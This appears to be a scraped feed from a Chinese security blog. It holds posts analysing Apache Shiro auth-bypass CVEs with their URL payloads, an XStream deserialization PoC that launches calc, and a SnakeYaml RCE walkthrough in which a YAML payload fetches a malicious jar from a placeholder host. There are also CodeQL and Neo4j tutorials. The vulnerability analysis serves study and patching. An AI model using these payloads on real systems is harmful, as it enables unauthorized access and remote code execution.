修改controller的路径访问，配置成restful风格的请求方式：@PostMapping(value = "/{name}")

image-20220928182139175

当访问/admin/*下的资源时，被拦截

image-20220928182341408

当访问/admin/index%252Fxxxxxx是时，权限被绕过

image-20220928182424218

漏洞分析

在分析漏洞前，先了解下tomcat URL解析的差异，在CVE-2020-1957的结尾我们了解了HTTPServletRequest的几个解析URL的函数，现在回顾一遍

网上的一个小结，Servlet的匹配路径为/test%3F/*，并且Web应用是部署在/app下，此时请求的URL为http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID?p+1=c+d&p+2=e+f#a，各个函数解析如下表：

函数URL解码解析结构
getRequestURL()nohttp://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID
getRequestURI()no/app/test%3F/a%3F+b;jsessionid=s%3F+ID
getContextPath()no/app
getServletPath()yes/test?
getPathInfo()yes/a?+b

结论的具体分析细节可以看这篇文章：https://xz.aliyun.com/t/7544；贴出上面结论的原因就是这次的漏洞的成因之一就来自于上面列出的解析函数对URL解码的特性，既然tomcat对url的处理方式是这样的，那shiro的处理会有所差异么？我们来分析看看。

本次漏洞环境还是用的shiro1.5.2的，请求/myshiro/admin/index%252Faa，调式 进入getRequestUri方法

image-20220928224714728

更进，发现调用了request.getServletPath方法进行uri拼接，在上面的函数表格里，getServletPath方法会对url进行一次解码

image-20220928224824750

可以看到此时getServletPath返回的值为 /admin/index%2Faa，uri为/myshiro//admin/index%2Faa

image-20220928225355829

然后将uri传入decodeAndCleanUriString方法，继续进入decodeRequestString方法

image-20220928225500816

这里会对uri再进行一次解码，原本uri为/myshiro//admin/index%2Faa，解码之后得到/myshiro//admin/index/aa

image-20220928225554119

然后返回/admin/index/aa

image-20220928231154403

最后匹配不上，导致权限绕过

image-20220928231825694

而spring在处理时会把/myshiro/admin/index%252Faa处理成 /admin/index%2Faa，就会被@PostMapping(value = "/{name}")接收，可能会绕过请求。

漏洞修复

Shiro 在 Commit-01887f6 中针对此漏洞进行了修复，第一处修改，采用getServletPath(request) + getPathInfo(request)获取requestURI

image-20220928235703523

第二处修改就是直接用HttpServletRequest.getRequestURI方法获取uri

image-20220928235916963

CVE-2020-13933

漏洞信息

漏洞信息详情
漏洞编号CVE-2020-13933 / CNVD-2020-46579
影响版本shiro < 1.6.0
漏洞描述Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞，远程攻击者可以发送特制的 HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字Spring | 顺序 | %3b | 绕过
漏洞补丁Commit-dc194fc
相关链接https://xz.aliyun.com/t/8223

漏洞复现

本次环境采用的是shiro1.5.3，使用CVE-2020-11989的payload发现失效

image-20220929003343765

使用 /myshiro/admin/%3baa成功绕过

image-20220929003023305

漏洞分析

发送payload，调式进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication方法中，根据表达式运算工具，返回的是 "/admin/"，和预期的一样

image-20220929003634143

下面简单分析下绕过的过程，在上面有提到过WebUtils#getServletPath会对url进行一次解码，因此我们请求的/myshiro/admin/%3baa变成了/admin/;aa

image-20220929003830087

然后调用removeSemicolon方法处理，熟悉的都知道这个是去除 ";"及后面的字符串

image-20220929004034127

然后再调用normalize函数进行路径标准化处理，最后得到的就是/admin/，返回requestURI后，去除末尾的 "/"，与pathPattern: "/admin/*" 匹配失败导致权限绕过。

image-20220929004233861

而spring、tomcat会将请求处理成/admin/;aa，然后配合 PathVariable 注解 String 类型的参数，导致可以绕过鉴权请求 /admin/{name}

漏洞修复

本次漏洞修复位于 Commit-dc194fc 中，新增了一个全局过滤器

image-20220929004959661

在类的注释中详细的说明了该过滤器的作用和规则，将会阻断带有分号，反斜线，非 ASCII 字符的请求，返回400状态码

image-20220929005122565

并添加进全局过滤器中

image-20220929005854832

CVE-2020-17510

漏洞信息

漏洞信息详情
漏洞编号CVE-2020-17510 / CNVD-2020-60318
影响版本shiro < 1.7.0
漏洞描述Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞，远程攻击者可以发送特制的 HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字Spring | 编码 | %2e | 绕过 | /%2e%2e/
漏洞补丁Commit-6acaaee
相关链接https://lists.apache.org/thread/12bn9ysx6ogm830stywro4pkoq8dxzfk

漏洞复现

本次环境采用的是shiro1.6.0以及 PathVariable 注解 String 类型参数的场景，还是基于 AntPathMatcher 的绕过，前面的绕过有个共性就是shiro对uri处理的逻辑与Spring不同导致的，还记得CVE-2010-3836采用的是 "." 进行绕过的，还有采用 ";"和URL编码%3b的，那 “.”的url编码%2e可否呢，本次漏洞的payload就是出自%2e。

用CVE-2020-13933的payload，失败

image-20220929011116229

访问 /myshiro/admin/%2e即可绕过

image-20220929010952572

当然还有/myshiro/admin/%2e/，/myshiro/admin/%2e%2e，/myshiro/admin/%2e%2e/

image-20220929011211496

漏洞分析

访问/myshiro/admin/%2e，调试进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication，运算表达式，可见返回"/admin/"，到这就不用继续下去了，和CVE-2020-13933的分析一样，先调用getServletPath方法对 /admin/%2e进行url解码得到/admin/.，然后经过normalize函数路径标准化将/admin/.转化为/admin/，到这也就为什么/myshiro/admin/%2e/，/myshiro/admin/%2e%2e，/myshiro/admin/%2e%2e/ 这几个payload能用的原因了，经过这两个方法处理都“无了”。

经测试，getServletPath方法会进行url解码，”;”及后面字符串的去除，和路径标准化处理

image-20220929011646282

对于Spring来说，Spring Boot 版本在小于等于 2.3.0.RELEASE时，会对uri进行解码然后路径标准化，这样得到的路径为/myshiro/admin，没有路径与之匹配。所以只有当 Spring Boot 版本在大于 2.3.0.RELEASE时标准化路径后/myshiro/admin/%2e，然后解码得到/myshiro/admin/.，所以其他payload：

1
2
3
/myshiro/admin/%2e/  -> /myshiro/admin/%2e/ -> /myshiro/admin/./ 
/myshiro/admin/%2e%2e  -> /myshiro/admin/%2e%2e -> /myshiro/admin/..
/myshiro/admin/%2e%2e/  -> /myshiro/admin/%2e%2e/ -> /myshiro/admin/../

漏洞修复

本次漏洞修复位于 Commit-6acaaee，创建了 UrlPathHelper 的子类 ShiroUrlPathHelper，并重写了 getPathWithinApplication 和 getPathWithinServletMapping 两个方法，使得spring在处理uri时使用 Shiro 自己的逻辑 WebUtils#getPathWithinApplication 进行返回，这样就能保证Spring 与 Shiro 处理requestURI时不会在差异

image-20220929023441599

创建好ShiroUrlPathHelper类后，就将其导入到ApplicationConfig配置类中

image-20220929023951127

将RequestMappingHandlerMapping#urlPathHelper 设置为 ShiroUrlPathHelper，而后，Spring 在匹配 handler 时获取路径的逻辑就会使用 Shiro 提供的逻辑。在高版本的spring中，会导致应用程序使用 UrlPathHelper.defaultInstance 来处理，而不是 Shiro 实现的 ShiroUrlPathHelper 来处理，又会导致权限绕过的产生。

image-20220929024451029

CVE-2020-17523

漏洞信息

漏洞信息详情
漏洞编号CVE-2020-17523 / CNVD-2021-09492
影响版本shiro < 1.7.1
漏洞描述Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞，远程攻击者可以发送特制的 HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字Spring | trim | %20 | 绕过 | /%20%20/
漏洞补丁Commit-ab1ea4a
相关链接https://www.anquanke.com/post/id/230935 https://www.eso.org/~ndelmott/url_encode.html

漏洞复现

本次环境用的是shiro1.7.0和依赖单个 “*” 的通配符以及 PathVariable 注解 String 类型的参数的场景触发漏洞，本次的绕过方法是使用空格的 URL 编码：%20。

访问 /myshiro/admin/%20成功绕过，当然也可以 /myshiro/admin/%20%20 /myshiro/admin/%20%20/

image-20220929032153886

漏洞分析

处理完之后的requestURI为 "/admin/ "和pathPattern "/admin/*"进行匹配，这里肯定是匹配失败返回false的，但是为什么呢

image-20220929030502864

跟进来到org.apache.shiro.util.AntPathMatcher#doMatch方法，这里会调用org.apache.shiro.util.StringUtils#tokenizeToStringArray方法对pattern和path进行处理，我们跟进去

image-20220929030711053

在org.apache.shiro.util.StringUtils#tokenizeToStringArray方法中主要是将str按照delimiters进行分割，然后保存到tokens中，其中传入的两个布尔类型的参数trimTokens控制是否对token去除空格，ignoreEmptyTokens控制是否忽略空的tokens

image-20220929031134396

在去出第二个token时，这里的token为 " "，因为经过trim()处理后为""，所以最终返回的tokens数组就只有admin一个，导致匹配失败

image-20220929031416572

而对于spring来说，空格也是可以作为RequestMapping请求的路径的，所以能够请求成功

漏洞修复

本次漏洞修复位于Commit-ab1ea4a，将org.apache.shiro.util.StringUtils#tokenizeToStringArray 方法的第三个参数 trimTokens 设置为 false，忽略空格的去除

image-20220929031859220

CVE-2021-41303

漏洞信息

漏洞信息详情
漏洞编号CVE-2021-41303 / SHIRO-825
影响版本shiro < 1.8.0
漏洞描述Apache Shiro 与 Spring Boot 一起使用时，远程攻击者可以发送特制的 HTTP 请求， 绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字Spring | 回退 | /aaa/*/ | 绕过
漏洞补丁Commit-4a20bf0
相关链接[https://threedr3am.github.io/](https://threedr3am.github.io/2021/09/22/从源码diff分析Apache-Shiro 1.7.1版本的auth bypass（CVE-2021-41303）/)

漏洞复现

本次环境用的是shiro1.7.1，配置匹配规则如下

1
2
filterMap.put("/admin/*", "authc");
filterMap.put("/admin/test", "anon");

直接访问 /myshiro/admin/test失败，因为会和第一条规则匹配

image-20220929101119957

访问 /myshiro/admin/test/，成功绕过

image-20220929101333216

漏洞分析

在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法中相较于shiro1.7.0版本有了些不同

image-20220929140503407

在1.7.1中把外部可控的requestURINoTrailingSlash（requestURI去掉了/后缀）带入到了org.apache.shiro.web.filter.mgt.FilterChainManager#proxy方法中，因此可以发送特定的请求去达到权限绕过。

场景一：当发送如下的请求时，因为requestURI和pathPattern直接就匹配上了，进入到了filterChainManager.proxy(originalChain, pathPattern)，就无法利用

1
2
URI：/myshiro/admin/test
pathPattern：/admin/*

场景二：当发送如下的请求时，我们在URI后多加一个/，就能让requestURI和pathPattern匹配不上，进入第二次匹配，并且能在第二次匹配中使其pathPattern和requestURINoTrailingSlash成功匹配上，从而进入filterChainManager.proxy(originalChain, requestURINoTrailingSlash)

1
2
URI：/myshiro/admin/test/
pathPattern：/admin/*

但是如果requestURINoTrailingSlash在鉴权配置的map中找不到（字符串比较）对应的value数据时，就会报错，而在shiro1.7.1之前，传入的是外部无法控制的pathPattern，而pathPattern是来自于鉴权配置map中的key，所以肯定是可以找到

image-20220929142213955

如果我们在环境中配置如下规则

1
2
filterMap.put("/admin/*", "authc");
filterMap.put("/admin/test", "anon");

在shiro1.7.1之前，我们访问 /myshiro/admin/test/，此时调用filterChainManager.proxy(originalChain, "/admin/*")那肯定是 /admin/*这个authc filter进行了处理进行了拦截，在shiro1.7.1开始，调用的就是filterChainManager.proxy(originalChain, "/admin/test")那肯定是 /admin/test这个anon filter进行了处理，进而顺利的bypass auth访问到了接口。

更多细节可以参考：从源码diff分析Apache-Shiro 1.7.1版本的auth bypass（CVE-2021-41303））

漏洞修复

本次漏洞修复位于 Commit-4a20bf0，解决方式就是和1.7.1之前一样传入pathPattern获取filter

image-20220929143422342

CVE-2022-32532

漏洞信息

漏洞信息详情
漏洞编号CVE-2022-32532
影响版本shiro < 1.9.1
漏洞描述RegexRequestMatcher 在使用带有 “.” 的正则时，可能会导致权限绕过
漏洞关键字RegexRequestMatcher | . | 绕过
漏洞补丁Commit-4a20bf0
相关链接CVE-2022-32532 https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh https://tanzu.vmware.com/security/cve-2022-22978

漏洞复现

该漏洞和CVE-2022-22978 Spring-security RegexRequestMatcher 认证绕过漏洞类似，在 RegexRequestMatcher 中使用的正则匹配在默认情况下, 正则表达式中点(.)不会匹配换行符, 设置了Pattern.DOTALL模式, 才会匹配所有字符包括换行符，因此可以使用在路径中添加换行符来绕过权限校验。

漏洞环境采用的是4ra1n师傅的，但已经删除了，可以访问https://github.com/Lay0us1/CVE-2022-32532

在这套环境中用的是shiro1.9.0，环境使用的PatternMatcher为RegExPatternMatcher

image-20220929145453712

环境搭建好后，/permit/*下的都是需要权限的，因此直接访问失败

image-20220929145816133

使用绕过的payload /myshiro/permit/%0axx，成功访问

image-20220929145930657

漏洞分析

使用payload访问，调式进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain，在进行pathPattern匹配时会调用org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches，该方法会获取PatternMatcher

image-20220929150615200

此时获取到的不再是默认的AntPathMatcher，而是RegExPatternMatcher，在该类中并没有配置Pattern.DOTALL，导致匹配失败

image-20220929151424114

漏洞修复

本次漏洞修复位于 Commit-6bcb92e，在进行正则匹配时添加了 Pattern.DOTALL 选项

image-20220929151605959

总结

花三天全部漏洞跟了一遍，算是解决了之前的一些疑惑，后面打算再把fastjson全版本漏洞过一遍，加深对漏洞的理解。

环境的代码上传到github了，有需要的自取：shiro环境.zip，很多漏洞可公用一个环境，只需简单改下shiro的版本即可。

我自己整理的权限绕过的字典放在了GitHub上：auth_bypass.txt，使用很灵活，可以在contextpath处，servlet后，或者path中间等等。

文中大量参考了su18师傅的分析过程，su18师傅的文章写的很详细，浅显易懂。

参考

https://su18.org/post/shiro-5/

https://blog.csdn.net/Xxy605/article/details/125404334
https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect
https://cloud.tencent.com/developer/article/1848169
https://blog.csdn.net/whq12789/article/details/88031965
https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw
https://github.com/Ares-X/shiro-exploit
https://github.com/inspiringz/Shiro-721
https://xz.aliyun.com/t/9406
https://xz.aliyun.com/t/7544
https://threedr3am.github.io/2021/09/22/%E4%BB%8E%E6%BA%90%E7%A0%81diff%E5%88%86%E6%9E%90Apache-Shiro%201.7.1%E7%89%88%E6%9C%AC%E7%9A%84auth%20bypass%EF%BC%88CVE-2021-41303%EF%BC%89/
https://github.com/Lay0us1/CVE-2022-32532

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近整理了一些权限绕过的payload，所以就过一下shiro的历史漏洞。</p> codeql学习（1） https://kpa1on.github.io/2022/09/08/codeql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/ 2022-09-08T02:27:29.000Z 2022-09-29T17:41:29.516Z

简介

codeql是一个将代码转化成类似数据库的形式，并基于该database进行分析的引擎。在 codeql中，代码被视为数据。安全漏洞、Bug 和其他错误被建模为可针对从代码中提取的数据库执行的查询。

codeql分析

codeql分析可分为三个步骤：

  1. 创建codeql数据库
  2. 运行codeql查询语句分析数据库
  3. 解析查询结果

下载与安装

codeql本身包含两部分：解析引擎+SDK。

  • 解析引擎用来解析我们编写的规则；
  • SDK为开源的，里面包含大部分现成的漏洞规则，我们也可以利用其编写自定义规则；

codeql解析引擎：CodeQL-cli ，下载并设置好codeql环境变量；

SDK：codeql查询包，用于分析查询的库文件和基础元数据等；

下载好codeql解析引擎和SDK后，我这里把他们放到同一个文件夹里

image-20220908111750354

配置好环境变量后，在cmd中输入codeql，出现如下结果代表安装成功

image-20220908111902236

数据库创建

数据库创建有两种方式：

  1. 在线创建
  2. 命令行创建

在线创建

通过lgtm在线网站编译github或Bitbucket 项目，打开网址，输入项目地址，点击Follow，在下面列表会产生该项目，再点击Enable PR code reviews，进入如下界面，鼠标移到Query this project,点击下载数据库即可。

image-20220908113012898

命令行创建

下载好对应的项目，执行codeql database create [编译后的数据库生成路径] --language=java --command="mvn clean install --file pom.xml" --source-root="./apps/WebGoat"

  • -l,--language=<lang> 创建数据库的语言
  • -s,--source-root=<dir> 项目的源代码路径，默认为当前路径
  • -j,--threads=<num> 生成数据库使用的线程数，默认为1
  • -M,--ram=<MB> 使用多大内存执行生成命令
  • -c.--command=<command> 构建项目使用的命令，如maven项目使用mvn clean package等
  • --overwrite 覆盖之前生成的数据库，如果不加上该命令，若存在同名数据库，则报错。

在使用命令行创建数据库时可能会出现报错，影响数据库的创建，可参考如下链接：

https://blog.51cto.com/ios9/3113441

在pom.xml中添加如下插件，忽略报错即可。

1
2
3
4
5
6
7
8
9
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>
maven-surefire-plugin
</artifactId>
<configuration>
<testFailureIgnore>true</testFailureIgnore>
</configuration>
</plugin>

数据库解析

有了数据库之后，我们要在VSCode插件商店中搜索codeql，安装插件，然后配置codeql引擎的路径，到此安装完毕

image-20220908112132672

在所下载的codeql插件中，点击Choose Database from Archive，选择上述生成的database导入。

image-20220908120036218

选择好数据库之后，用VSCode打开前面下载的SDK，在ql/java/ql/examples文件夹下新建一个demo.ql，这里测试输出”hello world”。

image-20220908121008190

]]> <meta name="referrer" content="no-referrer"> <h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>codeql是一个将代码转化成类似数据库的形式，并基于该database进行分析的引擎。在 codeql中，代码被视为数据。安全漏洞、Bug 和其他错误被建模为可针对从代码中提取的数据库执行的查询。</p> <h3 id="codeql分析"><a href="#codeql分析" class="headerlink" title="codeql分析"></a>codeql分析</h3><p>codeql分析可分为三个步骤：</p> <ol> <li>创建codeql数据库</li> <li>运行codeql查询语句分析数据库</li> <li>解析查询结果</li> </ol> <h3 id="下载与安装"><a href="#下载与安装" class="headerlink" title="下载与安装"></a>下载与安装</h3><p>codeql本身包含两部分：解析引擎+<code>SDK</code>。</p> <ul> <li>解析引擎用来解析我们编写的规则；</li> <li>SDK为开源的，里面包含大部分现成的漏洞规则，我们也可以利用其编写自定义规则；</li> </ul> <p>codeql解析引擎：<a href="https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip">CodeQL-cli</a> ，下载并设置好<code>codeql</code>环境变量；</p> Java安全之XStream 漏洞分析 https://kpa1on.github.io/2022/07/19/Java%E5%AE%89%E5%85%A8%E4%B9%8BXStream-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 2022-07-19T02:29:17.000Z 2022-09-29T17:45:00.204Z

介绍

XStream是一个实现javaBean与XML互相转换的工具，极大地简化了开发人员的对XML的处理。

添加依赖

1
2
3
4
5
<dependency>
     <groupId>com.thoughtworks.xstream</groupId>
     <artifactId>xstream</artifactId>
     <version>1.4.6</version>
</dependency>

基本使用

序列化

1
2
3
4
5
6
7
8
public static void main(String[] args) {
        XStream xStream = new XStream();
        Person person = new Person();
        person.setName("l2sec");
        person.setAge(10);
        String s = xStream.toXML(person);
        System.out.println(s);
}

反序列化

1
2
3
4
5
6
String xml = "<com.test.yaml.Person>\n" +
              "  <name>l2sec</name>\n" +
              "  <age>10</age>\n" +
              "</com.test.yaml.Person>";
      Person person = (Person)xStream.fromXML(xml);
      System.out.println(person.getAge());

漏洞分析

CVE-2013-7285

影响范围

1.4.x<=1.4.6或1.4.10

漏洞介绍

这个编号是XStream的第一个cve编号，经典的EventHandler利用链，它的利用方式是在反序列化解析xml的过程中对绑定EventHandler的动态代理对象调用其绑定接口的方法从而触发到EventHandler的invoke方法，最终触发了命令执行

漏洞POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.test.xstream;

import com.thoughtworks.xstream.XStream;

public class XstreamExploit {
    public static void main(String[] args) {
        XStream xStream = new XStream();
        String xml =
                "<sorted-set>\n" +
                        "    <string>foo</string>\n" +
                        "    <dynamic-proxy>\n" +
                        "        <interface>java.lang.Comparable</interface>\n" +
                        "        <handler class=\"java.beans.EventHandler\">\n" +
                        "            <target class=\"java.lang.ProcessBuilder\">\n" +
                        "                <command>\n" +
                        "                    <string>cmd</string>\n" +
                        "                    <string>/C</string>\n" +
                        "                    <string>calc</string>\n" +
                        "                </command>\n" +
                        "            </target>\n" +
                        "            <action>start</action>\n" +
                        "        </handler>\n" +
                        "    </dynamic-proxy>\n" +
                        "</sorted-set>";

        xStream.fromXML(xml);
    }
}
]]> <meta name="referrer" content="no-referrer"/> <h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>XStream是一个实现javaBean与XML互相转换的工具，极大地简化了开发人员的对XML的处理。</p> Java安全之SnakeYaml反序列化分析 https://kpa1on.github.io/2022/07/18/Java%E5%AE%89%E5%85%A8%E4%B9%8BSnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/ 2022-07-18T07:20:37.000Z 2022-09-29T17:44:25.428Z

前言

之前在复现若依的漏洞时，接触到了SnakeYaml反序列化，现在分析一下漏洞触发的原理。

SnakeYaml 概述

简介

YAML语言比普通的xml与properties等配置文件的可读性更高，像是Spring系列就支持YAML的配置文件。SnakeYaml是用来解析YAML，将YAML文档转换为JAVA对象，以及将JAVA对象序列化为YAML文档。

使用

要在项目中使用SnakeYAML，需要添加Maven依赖项

1
2
3
4
5
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Stringdump(Object data)
将Java对象序列化为YAML字符串。
voiddump(Object data, Writer output)
将Java对象序列化为YAML流。
StringdumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
voiddumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
StringdumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
StringdumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> Tload(InputStream io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> Tload(Reader io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> Tload(String yaml)
解析字符串中唯一的YAML文档，并生成相应的Java对象。
Iterable<Object>loadAll(InputStream yaml)
解析流中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>loadAll(Reader yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>loadAll(String yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。

主要关注序列化函数和反序列化的函数

  • Yaml.load()：入参是一个字符串或者一个文件，结果序列化之后返回一个JAVA对象。
  • Yaml.dump()：将一个对象转化为YAML文件格式。

序列化

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.test.yaml;

public class User {
    public String name;

    public String getName() {
        return name;
    }


    public void setName(String name) {
        this.name = name;
    }
}

YamlDemo类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlDemo {
    public static void main(String[] args) {
        User l2sec = new User();
        l2sec.setName("l2sec");
        Yaml yaml = new Yaml();
        String dump = yaml.dump(l2sec);
        System.out.println(dump);
    }
}

运行结果

image-20220718155531676

输出如下字符串

1
!!com.test.yaml.User {name: l2sec}

这里的!!类似于fastjson的@type用于指定反序列化的全类名

反序列化

再新建一个Person类，在各个方法中添加了print输出，目的是测试在反序列化时会触发这个类中的哪些方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.yaml;

public class Person {
    public String name;
    public int age;

    public String getName() {
        System.out.println("调用了getName方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName方法");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge方法");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge方法");
        this.age = age;
    }
}

在YamlDemo2中，通过!!指定类名需要写全类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlDemo2 {
    public static void main(String[] args) {
        Serialize();
        Deserialize();
    }

    private static  void Serialize(){
        Person person = new Person();
        person.setName("l2sec");
        person.setAge(20);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(person);
        System.out.println(dump);
    }
    private static void Deserialize() {
        String className = "!!com.test.yaml.Person {age: 20, name: l2sec}";
        Yaml yaml = new Yaml();
        Person person = yaml.load(className);
        System.out.println(person.getAge());
    }
}

运行结果

image-20220718161210782

输出如下

1
2
3
4
5
6
7
8
调用了构造方法
调用了setName方法
调用了setAge方法
!!com.test.yaml.Person {age: 20, name: l2sec}

调用了构造方法
调用了getAge方法
20

可以看到在序列化的时候触发set方法和构造方法。

反序列化漏洞分析

漏洞复现

运行下面POC代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlExploit {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://e8c2f892.dns.1433.eu.org\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }
}

运行结果如下，成功触发dnslog

image-20220718162745602

如果需要触发RCE，我们可以借用这个github项目，修改AwesomeScriptEngineFactory.java的代码。在构造方法或者静态代码块中写好触发命令执行的代码即可。（一般针对出网环境）

image-20220718164159659

修改好后，编译成class文件，并打包成jar

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

上传到vps上，开启一个http服务

1
python3 -m http.server --cgi 8888

编写测试类YamlExploit

1
2
3
4
5
6
7
8
9
10
11
12
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlExploit {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://ip:port/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }
}

运行结果如下

image-20220718164127927

SPI机制

在漏洞分析前需要了解下SPI的机制，在上面的payload中看到是使用ScriptEngineManager类来进行构造，ScriptEngineManager利用的底层就是SPI机制。

SPI（Service Provider Interface），是JDK内置的一种服务提供发现机制，可以用来启用框架扩展和替换组件，主要是被框架的开发人员使用，比如java.sql.Driver接口，其他不同厂商可以针对同一接口做出不同的实现，MySQL和PostgreSQL都有不同的实现提供给用户，而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外，在模块化设计中这个机制尤其重要，其核心思想就是解耦。

当服务的提供者提供了一种接口的实现之后，需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候，就可以通过查找这个jar包（一般都是以jar包做依赖）的META-INF/services/中的配置文件，配置文件中有接口的具体实现类名，可以根据这个类名进行加载实例化，就可以使用该服务了。

影响版本

全版本

漏洞原理

根据前面的例子，我们可以知道YAML反序列化时可以通过!!+全类名的方式指定要反序列化的类，反序列化时就会实例化该类，可以通过构造ScriptEngineManager的payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI的方式加载远程并实例化恶意类，从而实现RCE。

漏洞修复

修复方案：加入new SafeConstructor()类进行过滤

1
2
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);

审计注意的点

在审计中其实就可以直接定位yaml.load();，然后进行回溯，如若参数可控，那么就可以尝试传入payload。

参考

https://www.cnblogs.com/nice0e3/p/14514882.html

https://tttang.com/archive/1591/

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>之前在复现若依的漏洞时，接触到了<code>SnakeYaml</code>反序列化，现在分析一下漏洞触发的原理。</p> neo4j文档学习记录 https://kpa1on.github.io/2022/07/14/neo4j%E6%96%87%E6%A1%A3%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/ 2022-07-14T06:19:00.000Z 2022-09-29T17:46:12.357Z

入门指南

Neo4j

Neo4j 是世界领先的图形数据库。该架构旨在优化管理、存储和遍历节点和关系。图数据库采用属性图方式，对遍历性能和操作运行时间都有好处。

Cypher

Cypher 是 Neo4j 的图形查询语言，允许用户从图形数据库存储和检索数据。它是一种声明性的、受 SQL 启发的语言，用于使用 ASCII 艺术语法描述图形中的视觉模式。该语法提供了一种视觉和逻辑方式来匹配图中节点和关系的模式。

使用Neo4j

设置使用 Neo4j 和 Cypher 开发应用程序的环境的最简单方法是使用 Neo4j Desktop。从https://neo4j.com/download/下载

Cypher使用

名称是区分大小写的，:PERSON,:Person和:person是三个不同的标签，以及n和N是两个不同的变量。

查询是使用各种子句构建的，以下是一些用于从图中读取的子句示例：

  • MATCH：要匹配的图形模式。这是从图表中获取数据的最常用方法。
  • WHERE: 本身不是一个子句，而是MATCH,OPTIONAL MATCH和的一部分WITH。向模式添加约束，或过滤通过WITH.
  • RETURN: 返回什么。

查询更新

使用以下查询创建一个简单的示例图：

1
2
3
4
5
6
7
CREATE (john:Person {name: 'John'})
CREATE (joe:Person {name: 'Joe'})
CREATE (steve:Person {name: 'Steve'})
CREATE (sara:Person {name: 'Sara'})
CREATE (maria:Person {name: 'Maria'})
CREATE (john)-[:FRIEND]->(joe)-[:FRIEND]->(steve)
CREATE (john)-[:FRIEND]->(sara)-[:FRIEND]->(maria)

image-20220714150548083

构造一个查询，查询john朋友的朋友

1
2
MATCH (john {name: 'John'})-[:FRIEND]->()-[:FRIEND]->(fof)
RETURN john.name, fof.name

获取用户列表，从列表中找到具有名称的所有节点，匹配他们的朋友并仅返回那些具有以**’S’开头的‘name’**属性的follower user。

1
2
3
MATCH (user)-[:FRIEND]->(follower)
WHERE user.name IN ['Joe', 'John', 'Sara', 'Maria', 'Steve'] AND follower.name =~ 'S.*'
RETURN user.name, follower.name

image-20220714151802994

这些是用于更新图形的子句示例：

